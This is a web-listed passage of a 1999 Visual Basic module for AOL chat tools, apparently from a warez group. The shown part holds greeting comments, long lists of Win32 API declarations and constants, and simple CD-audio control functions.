home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / wantan1a / errorrre.bas < prev    next >
BASIC Source File  |  1999-09-14  |  260KB  |  8,602 lines
  1. Attribute VB_Name = "ErrorRreV"
  2. '***ANYTHING WITHOUT AOL30 IN FRONT OF IT IS FOR 4.0 OR IS NON AOL***
  3.           'Mail me at Hangu21@hotmail.com
  4. 'visit www.Errorrdomain.com
  5. 'Props to all ErrorR member's, we are trying to
  6. 'conclude all these issues with lamer's
  7. ' we are trying to bring back some of the last hope
  8. 'in ware'z many people fuck up, many get hacked.
  9. 'fucking lamer's fuck all the things up
  10. 'ErrorR \X/aReZ
  11. 'Prop's to
  12. 'D/X\X, THuG, ViSio(V, FRea|<, Da|>, SCu(V), RoB, Za(Ve
  13. '     DiRT, BeeR, (VoTHi(V, BaR|= BeeR, SouL, SCaP
  14. '       STaBeR, DicK TraCY, SLiM, GHoST, TroPp
  15. '         SeNaTe, FreeZN, SK8, H2O,L33Te|2
  16. 'SendChat " |»|»»||»|\»'\|»|\»'\á/»/\»\|»|\»'\|»|\»\"
  17. 'SendChat " |≈|»|'''|/ / |'|/ /  |''|≈|á|≈||≈ /| ||≈/'"
  18. 'SendChat " |≈|_|╕|≈|\»\'|≈|\»\''|≈|á|á|| | \»\|≈|\»\'"
  19. 'SendChat " |_|__||_|á|_||_|á|_|á\_\/_/|_|á|_||_| |_|"
  20. 'BlackRed "            -=(▓¢y: (V)rRδVr╦(\/ =-"
  21. Private Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) As Long
  22. Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
  23. Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Integer, ByVal X As Integer, ByVal Y As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal hSrcDC As Integer, ByVal xSrc As Integer, ByVal ySrc As Integer, ByVal dwRop As Long) As Integer
  24. Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
  25. Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  26. Declare Function ExitWindows Lib "user32" Alias "ExitWindowsEx" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
  27. 'Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  28. Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lpdwDisposition As Long) As Long
  29. Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpVlueName As String, ByVal Reserved As Long, dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  30. Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  31. Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
  32. Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  33.  
  34. Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  35. Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
  36. Declare Function GetPrivateProfileSection Lib "kernel32" Alias "GetPrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  37. Declare Function WritePrivateProfileSection Lib "kernel32" Alias "WritePrivateProfileSectionA" (ByVal lpAppName As String, ByVal lpString As String, ByVal lpFileName As String) As Long
  38. Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long
  39. Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
  40. Declare Function ReleaseCapture Lib "user32" () As Long
  41. Private Declare Function WindowFromPointXY Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
  42. Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
  43. Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
  44. Declare Function RegisterClipboardFormat Lib "user32" Alias "RegisterClipboardFormatA" (ByVal lpString As String) As Long
  45. Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
  46. Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
  47. Declare Function IsWindowEnabled Lib "user32" (ByVal hwnd As Long) As Long
  48. Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As Long) As Long
  49. Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
  50. Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
  51. Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
  52. Declare Function GetClientRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  53. Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
  54. Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  55. Declare Function ScreenToClient Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
  56. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  57. Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  58. Private Declare Sub RtlMoveMemory Lib "kernel32" (ByRef dest As Any, ByRef source As Any, ByVal nBytes As Long)
  59. Declare Function RedrawWindow Lib "user32" (ByVal hwnd As Long, lprcUpdate As RECT, ByVal hrgnUpdate As Long, ByVal fuRedraw As Long) As Long
  60. Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
  61. Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  62. Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
  63. Declare Function dwGetStringFromLPSTR Lib "dwspy32.dll" (ByVal lpcopy As Long) As String
  64. Public Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
  65. Public Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
  66. Declare Sub dwCopyDataBynum Lib "dwspy32.dll" Alias "dwCopyData" (ByVal source&, ByVal dest&, ByVal nCount&)
  67. Private Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
  68. Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
  69. Private Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
  70. Declare Function dwGetAddressForObject& Lib "dwspy32.dll" (object As Any)
  71. Declare Sub dwCopyDataByString Lib "dwspy32.dll" Alias "dwCopyData" (ByVal source As String, ByVal dest As Long, ByVal nCount&)
  72. Declare Function dwXCopyDataBynumFrom& Lib "dwspy32.dll" Alias "dwXCopyDataFrom" (ByVal mybuf As Long, ByVal foreignbuf As Long, ByVal size As Integer, ByVal foreignPID As Long)
  73. Declare Function dwGetWndInstance& Lib "dwspy32.dll" (ByVal hwnd&)
  74. Declare Function RegisterWindowMessage& Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String)
  75. Declare Function GetWindowLong& Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long)
  76. Declare Function EnumWindows& Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long)
  77. Declare Function SendMessageByNum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
  78. Declare Function GetClassName& Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long)
  79. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  80. Declare Function DrawMenuBar Lib "user32" (ByVal hwnd As Long) As Long
  81. Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" (ByVal hwnd As Long, ByVal szApp As String, ByVal szOtherStuff As String, ByVal hIcon As Long) As Long
  82. Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
  83. 'Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  84. 'Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
  85. Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Long) As Long
  86. Declare Function CreatePopupMenu Lib "user32" () As Long
  87. Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
  88. Declare Function GetDesktopWindow Lib "user32" () As Long
  89. Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
  90. Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
  91. Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  92. Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  93. Declare Function GetTopWindow Lib "user32" (ByVal hwnd As Long) As Long
  94. Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
  95. Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
  96. Declare Function SetFocusAPI Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
  97. Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
  98. Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  99. Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
  100. Declare Function InsertMenu Lib "user32" Alias "InsertMenuA" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long
  101. Declare Function AppendMenu Lib "user32" Alias "AppendMenuA" (ByVal hMenu As Long, ByVal wFlags As Long, ByVal wIDNewItem As Long, ByVal lpNewItem As String) As Long
  102. Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
  103. Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
  104. Declare Function DestroyMenu Lib "user32" (ByVal hMenu%) As Integer
  105. Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
  106.  
  107. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  108. Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  109. Public Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
  110. Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
  111. Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  112. Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  113.  
  114.  
  115. Public Const GWL_WNDPROC = -4
  116.  
  117. Public Const SND_SYNC = &H0
  118. Public Const SND_ASYNC = &H1
  119. Public Const SND_NODEFAULT = &H2
  120. Public Const SND_MEMORY = &H4
  121. Public Const SND_ALIAS = &H10000
  122. Public Const SND_FILENAME = &H20000
  123. Public Const SND_RESOURCE = &H40004
  124. Public Const SND_ALIAS_ID = &H110000
  125. Public Const SND_ALIAS_START = 0
  126. Public Const SND_LOOP = &H8
  127. Public Const SND_NOSTOP = &H10
  128. Public Const SND_VALID = &H1F
  129. Public Const SND_NOWAIT = &H2000
  130. Public Const SND_VALIDFLAGS = &H17201F
  131. Public Const SND_RESERVED = &HFF000000
  132. Public Const SND_TYPE_MASK = &H170007
  133.  
  134.  
  135. Public Const WM_CHAR = &H102
  136. Public Const WM_SETTEXT = &HC
  137. Public Const WM_USER = &H400
  138. Public Const WM_KEYDOWN = &H100
  139. Public Const WM_KEYUP = &H101
  140. Public Const WM_LBUTTONDOWN = &H201
  141. Public Const WM_LBUTTONUP = &H202
  142. Public Const WM_CLOSE = &H10
  143. Public Const WM_COMMAND = &H111
  144. Public Const WM_CLEAR = &H303
  145. Public Const WM_DESTROY = &H2
  146. Public Const WM_GETTEXT = &HD
  147. Public Const WM_GETTEXTLENGTH = &HE
  148. Public Const WM_LBUTTONDBLCLK = &H203
  149.  
  150. Public Const BM_GETCHECK = &HF0
  151. Public Const BM_GETSTATE = &HF2
  152. Public Const BM_SETCHECK = &HF1
  153. Public Const BM_SETSTATE = &HF3
  154. Public Const EM_GETLINE = &HC4
  155.  
  156. Public Const LB_GETITEMDATA = &H199
  157. Public Const LB_GETCOUNT = &H18B
  158. Public Const LB_ADDSTRING = &H180
  159. Public Const LB_DELETESTRING = &H182
  160. Public Const LB_FINDSTRING = &H18F
  161. Public Const LB_FINDSTRINGEXACT = &H1A2
  162. Public Const LB_GETCURSEL = &H188
  163. Public Const LB_GETTEXT = &H189
  164. Public Const LB_GETTEXTLEN = &H18A
  165. Public Const LB_SELECTSTRING = &H18C
  166. Public Const LB_SETCOUNT = &H1A7
  167. Public Const LB_SETCURSEL = &H186
  168. Public Const LB_SETSEL = &H185
  169. Public Const LB_INSERTSTRING = &H181
  170.  
  171. Public Const RGN_AND = 1
  172. Public Const RGN_COPY = 5
  173. Public Const RGN_DIFF = 4
  174. Public Const RGN_OR = 2
  175. Public Const RGN_XOR = 3
  176.  
  177. Public Const VK_HOME = &H24
  178. Public Const VK_RIGHT = &H27
  179. Public Const VK_CONTROL = &H11
  180. Public Const VK_DELETE = &H2E
  181. Public Const VK_DOWN = &H28
  182. Public Const VK_LEFT = &H25
  183. Public Const VK_RETURN = &HD
  184. Public Const VK_SPACE = &H20
  185. Public Const VK_TAB = &H9
  186. Public Const VK_UP = &H26
  187. Public Const ENTER_KEY = 13
  188.  
  189. Public Const EWX_FORCE = 4
  190. Public Const EWX_LOGOFF = 0
  191. Public Const EWX_REBOOT = 2
  192. Public Const EWX_SHUTDOWN = 1
  193.     
  194. Public Const HWND_TOP = 0
  195. Public Const HWND_TOPMOST = -1
  196. Public Const HWND_NOTOPMOST = -2
  197.  
  198. Public Const SWP_NOMOVE = &H2
  199. Public Const SWP_NOSIZE = &H1
  200. Public Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
  201.  
  202. Public Const GW_CHILD = 5
  203. Public Const GW_HWNDFIRST = 0
  204. Public Const GW_HWNDLAST = 1
  205. Public Const GW_HWNDNEXT = 2
  206. Public Const GW_HWNDPREV = 3
  207. Public Const GW_OWNER = 4
  208.  
  209. Public Const SW_MAXIMIZE = 3
  210. Public Const SW_MINIMIZE = 6
  211. Public Const SW_HIDE = 0
  212. Public Const SW_RESTORE = 9
  213. Public Const SW_SHOW = 5
  214. Public Const SW_SHOWDEFAULT = 10
  215. Public Const SW_SHOWMAXIMIZED = 3
  216. Public Const SW_SHOWMINIMIZED = 2
  217. Public Const SW_SHOWMINNOACTIVE = 7
  218. Public Const SW_SHOWNOACTIVATE = 4
  219. Public Const SW_SHOWNORMAL = 1
  220.  
  221. Public Const MF_APPEND = &H100&
  222. Public Const MF_DELETE = &H200&
  223. Public Const MF_CHANGE = &H80&
  224. Public Const MF_ENABLED = &H0&
  225. Public Const MF_DISABLED = &H2&
  226. Public Const MF_REMOVE = &H1000&
  227. Public Const MF_POPUP = &H10&
  228. Public Const MF_STRING = &H0&
  229. Public Const MF_UNCHECKED = &H0&
  230. Public Const MF_CHECKED = &H8&
  231. Public Const MF_GRAYED = &H1&
  232. Public Const MF_BYPOSITION = &H400&
  233. Public Const MF_BYCOMMAND = &H0&
  234.  
  235. Public Const GWW_HINSTANCE = (-6)
  236. Public Const GWW_ID = (-12)
  237. Public Const GWL_STYLE = (-16)
  238.  
  239. Public Const PROCESS_VM_READ = &H10
  240. Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
  241. Public Const WM_NCMOUSEMOVE = &HA0
  242. Public Const WM_NCLBUTTONDOWN = &HA1
  243. Public Const WM_NCLBUTTONUP = &HA2
  244.  
  245.  
  246. Public Const HTERROR = (-2)
  247. Public Const HTTRANSPARENT = (-1)
  248. Public Const HTNOWHERE = 0
  249. Public Const HTCLIENT = 1
  250. Public Const HTCAPTION = 2
  251. Public Const HTSYSMENU = 3
  252. Public Const HTGROWBOX = 4
  253. Public Const HTSIZE = HTGROWBOX
  254. Public Const HTMENU = 5
  255. Public Const HTHSCROLL = 6
  256. Public Const HTVSCROLL = 7
  257. Public Const HTMINBUTTON = 8
  258. Public Const HTMAXBUTTON = 9
  259. Public Const HTLEFT = 10
  260. Public Const HTRIGHT = 11
  261. Public Const HTTOP = 12
  262. Public Const HTTOPLEFT = 13
  263. Public Const HTTOPRIGHT = 14
  264. Public Const HTBOTTOM = 15
  265. Public Const HTBOTTOMLEFT = 16
  266. Public Const HTBOTTOMRIGHT = 17
  267. Public Const HTBORDER = 18
  268. Public Const HTREDUCE = HTMINBUTTON
  269. Public Const HTZOOM = HTMAXBUTTON
  270. Public Const HTSIZEFIRST = HTLEFT
  271. Public Const HTSIZELAST = HTBOTTOMRIGHT
  272. Public Const Plug = "ErrorR_Domain"
  273. Public GiveClsNam As Long
  274. Public Const SRCCOPY = &HCC0020
  275. Public Const SRCAND = &H8800C6
  276. Public Const SRCINVERT = &H660046
  277.  
  278.  
  279. Public Const blue = "0000FF"
  280. Public Const LBlue = "#33CCFF"
  281. Public Const DBlue = "#000088"
  282. Public Const green = "#00CC00"
  283. Public Const LGreen = "#00FF00"
  284. Public Const DGreen = "#006600"
  285. Public Const red = "#FF0000"
  286. Public Const DRed = "#AA0000"
  287. Public Const Yellow = "#FFFF00"
  288. Public Const Grey = "#BBBBBB"
  289. Public Const LGrey = "#DDDDDD"
  290. Public Const DGrey = "#999999"
  291. Public Const Orange = "FF9900"
  292. Public Const Purple = "CC33CC"
  293. Public Const Pink = "#FF6699"
  294.  
  295. 'REGISTRY CONSTANTS
  296. Private Const REG_SZ = 1
  297. Private Const HKEY_CURRENT_USER = &H80000001
  298. Private Const HKEY_LOCAL_MACHINE = &H80000002
  299. Private Const REG_OPTION_NON_VOLATILE = 0
  300. Private Const SYNCHRONIZE = &H100000
  301. Private Const STANDARD_RIGHTS_ALL = &H1F0000
  302. Private Const KEY_QUERY_VALUE = &H1
  303. Private Const KEY_SET_VALUE = &H2
  304. Private Const KEY_CREATE_SUB_KEY = &H4
  305. Private Const KEY_ENUMERATE_SUB_KEYS = &H8
  306. Private Const KEY_NOTIFY = &H10
  307. Private Const KEY_CREATE_LINK = &H20
  308. Private Const ERROR_SUCCESS = 0&
  309. Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
  310. Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
  311. Const CLR_MENUBAR = &H80000004
  312. Const Number_of_Menu_Selections = 3
  313.         
  314. Const WM_SYSCOMMAND = &H112
  315. Const SC_MOVE = &HF012
  316. Const WA_INACTIVE = 0
  317. Const WA_ACTIVE = 1
  318. Const WA_CLICKACTIVE = 2
  319. Const WM_SETFOCUS = &H7
  320. Const WM_KILLFOCUS = &H8
  321. Const WM_ENABLE = &HA
  322. Const WM_SETREDRAW = &HB
  323.  
  324.  
  325. Const WM_PAINT = &HF
  326.  
  327. Const WM_QUERYENDSESSION = &H11
  328. Const WM_QUIT = &H12
  329. Const WM_QUERYOPEN = &H13
  330. Const WM_ERASEBKGND = &H14
  331. Const WM_SYSCOLORCHANGE = &H15
  332. Const WM_ENDSESSION = &H16
  333. Const WM_SHOWWINDOW = &H18
  334. Const WM_WININICHANGE = &H1A
  335. Const WM_DEVMODECHANGE = &H1B
  336. Const WM_ACTIVATEAPP = &H1C
  337. Const WM_FONTCHANGE = &H1D
  338. Const WM_TIMECHANGE = &H1E
  339. Const WM_CANCELMODE = &H1F
  340. Const WM_SETCURSOR = &H20
  341. Const WM_MOUSEACTIVATE = &H21
  342. Const WM_CHILDACTIVATE = &H22
  343. Const WM_QUEUESYNC = &H23
  344. Const WM_GETMINMAXINFO = &H24
  345. Const WM_PAINTICON = &H26
  346. Const WM_ICONERASEBKGND = &H27
  347. Const WM_NEXTDLGCTL = &H28
  348. Const WM_SPOOLERSTATUS = &H2A
  349. Const WM_DRAWITEM = &H2B
  350. Const WM_MEASUREITEM = &H2C
  351. Const WM_DELETEITEM = &H2D
  352. Const WM_VKEYTOITEM = &H2E
  353. Const WM_CHARTOITEM = &H2F
  354. Const WM_SETFONT = &H30
  355. Const WM_GETFONT = &H31
  356. Const WM_SETHOTKEY = &H32
  357. Const WM_GETHOTKEY = &H33
  358. Const WM_QUERYDRAGICON = &H37
  359. Const WM_COMPAREITEM = &H39
  360. Const WM_COMPACTING = &H41
  361.  
  362. Const CN_RECEIVE = &H1
  363. Const CN_TRANSMIT = &H2
  364. Const CN_EVENT = &H4
  365.  
  366. Const WM_WINDOWPOSCHANGING = &H46
  367. Const WM_WINDOWPOSCHANGED = &H47
  368. Const WM_POWER = &H48
  369.  
  370.  
  371.  
  372. Type COPYDATASTRUCT
  373.     dwData As Long
  374.     cbData As Long
  375.     lpData As Long
  376. End Type
  377.  
  378.     Const WM_NCCREATE = &H81
  379.     Const WM_NCDESTROY = &H82
  380.     Const WM_NCCALCSIZE = &H83
  381.     Const WM_NCHITTEST = &H84
  382.     Const WM_NCPAINT = &H85
  383.     Const WM_NCACTIVATE = &H86
  384.     Const WM_GETDLGCODE = &H87
  385.   
  386.   
  387.     Const WM_NCLBUTTONDBLCLK = &HA3
  388.     Const WM_NCRBUTTONDOWN = &HA4
  389.     Const WM_NCRBUTTONUP = &HA5
  390.     Const WM_NCRBUTTONDBLCLK = &HA6
  391.     Const WM_NCMBUTTONDOWN = &HA7
  392.     Const WM_NCMBUTTONUP = &HA8
  393.     Const WM_NCMBUTTONDBLCLK = &HA9
  394.     Const WM_KEYFIRST = &H100
  395.   
  396.     
  397.     Const WM_DEADCHAR = &H103
  398.     Const WM_SYSKEYDOWN = &H104
  399.     Const WM_SYSKEYUP = &H105
  400.     Const WM_SYSCHAR = &H106
  401.     Const WM_SYSDEADCHAR = &H107
  402.     Const WM_KEYLAST = &H108
  403.     Const WM_INITDIALOG = &H110
  404.   
  405.     
  406.     Const WM_TIMER = &H113
  407.     Const WM_HSCROLL = &H114
  408.     Const WM_VSCROLL = &H115
  409.     Const WM_INITMENU = &H116
  410.     Const WM_INITMENUPOPUP = &H117
  411.     Const WM_MENUSELECT = &H11F
  412.     Const WM_MENUCHAR = &H120
  413.     Const WM_ENTERIDLE = &H121
  414.     Const WM_CTLCOLORMSGBOX = &H132
  415.     Const WM_CTLCOLOREDIT = &H133
  416.     Const WM_CTLCOLORLISTBOX = &H134
  417.     Const WM_CTLCOLORBTN = &H135
  418.     Const WM_CTLCOLORDLG = &H136
  419.     Const WM_CTLCOLORSCROLLBAR = &H137
  420.     Const WM_CTLCOLORSTATIC = &H138
  421.     Const WM_MOUSEFIRST = &H200
  422.     Const WM_MOUSEMOVE = &H200
  423.     Const WM_RBUTTONDOWN = &H204
  424.     Const WM_RBUTTONUP = &H205
  425.     Const WM_RBUTTONDBLCLK = &H206
  426.     Const WM_MBUTTONDOWN = &H207
  427.     Const WM_MBUTTONUP = &H208
  428.     Const WM_MBUTTONDBLCLK = &H209
  429.     Const WM_MOUSELAST = &H209
  430.     Const WM_PARENTNOTIFY = &H210
  431.     Const WM_ENTERMENULOOP = &H211
  432.     Const WM_EXITMENULOOP = &H212
  433.     Const WM_MDICREATE = &H220
  434.     Const WM_MDIDESTROY = &H221
  435.     Const WM_MDIACTIVATE = &H222
  436.     Const WM_MDIRESTORE = &H223
  437.     Const WM_MDINEXT = &H224
  438.     Const WM_MDIMAXIMIZE = &H225
  439.     Const WM_MDITILE = &H226
  440.     Const WM_MDICASCADE = &H227
  441.     Const WM_MDIICONARRANGE = &H228
  442.     Const WM_MDIGETACTIVE = &H229
  443.     Const WM_MDISETMENU = &H230
  444.     Const WM_DROPFILES = &H233
  445.     Const WM_MDIREFRESHMENU = &H234
  446.     Const WM_CUT = &H300
  447.     Const WM_COPY = &H301
  448.     Const WM_PASTE = &H302
  449.     Const WM_UNDO = &H304
  450.     Const WM_RENDERFORMAT = &H305
  451.     Const WM_RENDERALLFORMATS = &H306
  452.     Const WM_DESTROYCLIPBOARD = &H307
  453.     Const WM_DRAWCLIPBOARD = &H308
  454.     Const WM_PAINTCLIPBOARD = &H309
  455.     Const WM_VSCROLLCLIPBOARD = &H30A
  456.     Const WM_SIZECLIPBOARD = &H30B
  457.     Const WM_ASKCBFORMATNAME = &H30C
  458.     Const WM_CHANGECBCHAIN = &H30D
  459.     Const WM_HSCROLLCLIPBOARD = &H30E
  460.     Const WM_QUERYNEWPALETTE = &H30F
  461.     Const WM_PALETTEISCHANGING = &H310
  462.     Const WM_PALETTECHANGED = &H311
  463.     Const WM_HOTKEY = &H312
  464.     Const WM_PENWINFIRST = &H380
  465.     Const WM_PENWINLAST = &H38F
  466.     
  467.   
  468.     
  469. Const WM_NULL = &H0
  470. Const WM_CREATE = &H1
  471. Const WM_MOVE = &H3
  472. Const WM_SIZE = &H5
  473. Const WM_ACTIVATE = &H6
  474.  
  475. Type RECT
  476.    Left As Long
  477.    Top As Long
  478.    Right As Long
  479.    bottom As Long
  480. End Type
  481.  
  482. Type POINTAPI
  483.    X As Long
  484.    Y As Long
  485. End Type
  486. Function CDCheck%()
  487.  
  488.     Dim s As String * 30
  489.     mciSendString "status cd media present", s, Len(s), 0
  490.     CDCheck = s
  491.     End Function
  492. Function CDConv_Sec()
  493. 'convert time into seconds
  494. Dim T As String * 50
  495. Dim i, RSec, Seconds, FSeconds, MTS As Integer
  496. Dim ms As String
  497. T = CDPosition2
  498.  
  499. MTS = Mid(T, 1, 2)
  500. FSeconds = MTS * 60
  501. RSec = Mid(T, 4, 2)
  502. Seconds = (FSeconds + RSec)
  503. CDConv_Sec = Seconds
  504. End Function
  505. Function CDCurrTrack()
  506. Dim s As String * 50
  507. mciSendString "status cd current track", s, Len(s), 0
  508. CDCurrTrack = s
  509. End Function
  510. Function CDDoorClose()
  511.  
  512.     mciSendString "set cd door closed", 0, 0, 0
  513.     End Function
  514. Function CDDoorOpen()
  515.  
  516.     mciSendString "set cd door open", 0, 0, 0
  517.     End Function
  518. Function CDFastForward(Spd)
  519.  
  520.     Dim s As String * 40
  521.     CDSetFormat_millisec
  522.     mciSendString "status cd position wait", s, Len(s), 0
  523.     
  524.     If CDIsPlaying = True Then
  525.     mciSendString "play cd from " & CStr(CLng(s) + Spd), 0, 0, 0
  526.     Else
  527.     mciSendString "seek cd to " & CStr(CLng(s) + Spd), 0, 0, 0
